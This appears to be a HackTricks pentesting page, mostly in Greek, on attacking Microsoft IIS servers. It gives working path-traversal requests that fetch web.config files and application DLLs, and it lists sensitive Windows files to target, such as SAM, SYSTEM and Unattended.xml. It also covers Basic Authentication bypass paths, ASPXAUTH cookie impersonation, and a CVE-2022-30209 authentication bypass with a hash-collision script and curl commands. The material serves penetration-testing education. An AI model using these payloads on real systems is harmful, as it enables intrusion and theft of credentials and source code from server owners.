20 KiB
IIS - Internet Information Services
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Δοκιμάστε εκτελέσιμες επεκτάσεις αρχείων:
- asp
- aspx
- config
- php
Αποκάλυψη εσωτερικής διεύθυνσης IP
Σε οποιονδήποτε διακομιστή IIS όπου λαμβάνετε 302, μπορείτε να δοκιμάσετε να αφαιρέσετε την κεφαλίδα Host και να χρησιμοποιήσετε το HTTP/1.0 και μέσα στην απόκριση η κεφαλίδα Location θα μπορούσε να σας δείξει την εσωτερική διεύθυνση IP:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Απάντηση που αποκαλύπτει την εσωτερική διεύθυνση IP:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Execute .config files
Μπορείτε να ανεβάσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος για να το κάνετε είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα HTML σχόλιο: Download example here
Περισσότερες πληροφορίες και τεχνικές για την εκμετάλλευση αυτής της ευπάθειας here
IIS Discovery Bruteforce
Κατεβάστε τη λίστα που έχω δημιουργήσει:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Δημιουργήθηκε συγχωνεύοντας τα περιεχόμενα των παρακάτω λιστών:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Χρησιμοποιήστε το χωρίς να προσθέσετε καμία επέκταση, τα αρχεία που το χρειάζονται το έχουν ήδη.
Path Traversal
Leaking source code
Ελέγξτε την πλήρη ανάλυση στο: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Ως περίληψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "assemblyIdentity" και "namespaces". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε πού βρίσκονται τα εκτελέσιμα και να τα κατεβάσετε.
Από τις κατεβασμένες Dlls είναι επίσης δυνατό να βρείτε νέα namespaces όπου θα πρέπει να προσπαθήσετε να αποκτήσετε πρόσβαση και να πάρετε το αρχείο web.config προκειμένου να βρείτε νέα namespaces και assemblyIdentity.
Επίσης, τα αρχεία connectionstrings.config και global.asax μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.\
{% endhint %}
Στις .Net MVC εφαρμογές, το αρχείο web.config παίζει κρίσιμο ρόλο καθορίζοντας κάθε δυαδικό αρχείο που εξαρτάται η εφαρμογή μέσω των XML ετικετών "assemblyIdentity".
Exploring Binary Files
Ένα παράδειγμα πρόσβασης στο αρχείο web.config φαίνεται παρακάτω:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Αυτό το αίτημα αποκαλύπτει διάφορες ρυθμίσεις και εξαρτήσεις, όπως:
- EntityFramework έκδοση
- AppSettings για ιστοσελίδες, έλεγχο πελατών και JavaScript
- System.web ρυθμίσεις για αυθεντικοποίηση και εκτέλεση
- System.webServer ρυθμίσεις μονάδων
- Runtime δεσμεύσεις assembly για πολλές βιβλιοθήκες όπως Microsoft.Owin, Newtonsoft.Json, και System.Web.Mvc
Αυτές οι ρυθμίσεις υποδεικνύουν ότι ορισμένα αρχεία, όπως το /bin/WebGrease.dll, βρίσκονται μέσα στον φάκελο /bin της εφαρμογής.
Αρχεία Ρίζας Καταλόγου
Αρχεία που βρίσκονται στον κατάλογο ρίζας, όπως το /global.asax και το /connectionstrings.config (το οποίο περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής.
Namespaces και Web.Config
Οι εφαρμογές MVC ορίζουν επίσης επιπλέον web.config αρχεία για συγκεκριμένα namespaces ώστε να αποφεύγονται οι επαναλαμβανόμενες δηλώσεις σε κάθε αρχείο, όπως αποδεικνύεται με ένα αίτημα για λήψη ενός άλλου web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Λήψη DLLs
Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "WebApplication1" που υπάρχει στον φάκελο /bin. Ακολουθεί ένα αίτημα για λήψη της WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Αυτό υποδηλώνει την παρουσία άλλων βασικών DLL, όπως το System.Web.Mvc.dll και το System.Web.Optimization.dll, στον φάκελο /bin.
Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται WebApplication1.Areas.Minded, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως /area-name/Views/, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το /Minded/Views/web.config μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία άλλης DLL, WebApplication1.AdditionalFeatures.dll.
Κοινά αρχεία
Από εδώ
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
Αν δείτε ένα σφάλμα όπως το παρακάτω:
Αυτό σημαίνει ότι ο διακομιστής δεν έλαβε το σωστό όνομα τομέα μέσα στην κεφαλίδα Host.
Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να ρίξετε μια ματιά στο SSL Certificate που εξυπηρετείται και ίσως να βρείτε το όνομα τομέα/υποτομέα εκεί. Αν δεν είναι εκεί, μπορεί να χρειαστεί να brute force VHosts μέχρι να βρείτε το σωστό.
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Μπορείτε να προσπαθήσετε να enumerate folders and files μέσα σε κάθε ανακαλυφθείσα φάκελο (ακόμα και αν απαιτεί Basic Authentication) χρησιμοποιώντας αυτή την τεχνική.
Ο κύριος περιορισμός αυτής της τεχνικής αν ο διακομιστής είναι ευάλωτος είναι ότι μπορεί να βρει μόνο μέχρι τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης των αρχείων.
Μπορείτε να χρησιμοποιήσετε https://github.com/irsdl/IIS-ShortName-Scanner για να δοκιμάσετε αυτή την ευπάθεια:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Αρχική έρευνα: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Μπορείτε επίσης να χρησιμοποιήσετε metasploit: use scanner/http/iis_shortname_scanner
Basic Authentication bypass
Bypass μια βασική αυθεντικοποίηση (IIS 7.5) προσπαθώντας να αποκτήσετε πρόσβαση: /admin:$i30:$INDEX_ALLOCATION/admin.php
ή /admin::$INDEX_ALLOCATION/admin.php
Μπορείτε να προσπαθήσετε να μείξετε αυτή την ευπάθεια και την τελευταία για να βρείτε νέους φακέλους και να bypass την αυθεντικοποίηση.
ASP.NET Trace.AXD enabled debugging
Το ASP.NET περιλαμβάνει μια λειτουργία αποσφαλμάτωσης και το αρχείο του ονομάζεται trace.axd
.
Διατηρεί ένα πολύ λεπτομερές αρχείο καταγραφής όλων των αιτημάτων που έγιναν σε μια εφαρμογή κατά τη διάρκεια μιας περιόδου.
Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήματος και απάντησης, φυσικούς δρόμους, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Cookie
Το ASPXAUTH χρησιμοποιεί τις παρακάτω πληροφορίες:
validationKey
(string): κλειδί σε μορφή hex για χρήση στην επικύρωση υπογραφής.decryptionMethod
(string): (προεπιλογή “AES”).decryptionIV
(string): αρχικοποιητικός διανύσματος σε μορφή hex (προεπιλογή σε διανύσμα μηδενικών).decryptionKey
(string): κλειδί σε μορφή hex για χρήση στην αποκρυπτογράφηση.
Ωστόσο, κάποιοι άνθρωποι θα χρησιμοποιήσουν τις προεπιλεγμένες τιμές αυτών των παραμέτρων και θα χρησιμοποιήσουν ως cookie το email του χρήστη. Επομένως, αν μπορείτε να βρείτε μια ιστοσελίδα που χρησιμοποιεί την ίδια πλατφόρμα που χρησιμοποιεί το cookie ASPXAUTH και δημιουργήσετε έναν χρήστη με το email του χρήστη που θέλετε να προσποιηθείτε στον διακομιστή που δέχεται επίθεση, μπορεί να είστε σε θέση να χρησιμοποιήσετε το cookie από τον δεύτερο διακομιστή στον πρώτο και να προσποιηθείτε τον χρήστη.
Αυτή η επίθεση λειτούργησε σε αυτή την writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Πλήρης αναφορά εδώ: Ένα σφάλμα στον κώδικα δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη, έτσι ένας επιτιθέμενος του οποίου ο κατακερματισμένος κωδικός πρόσβασης χτυπά ένα κλειδί που είναι ήδη στην cache θα μπορεί να συνδεθεί ως αυτός ο χρήστης.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.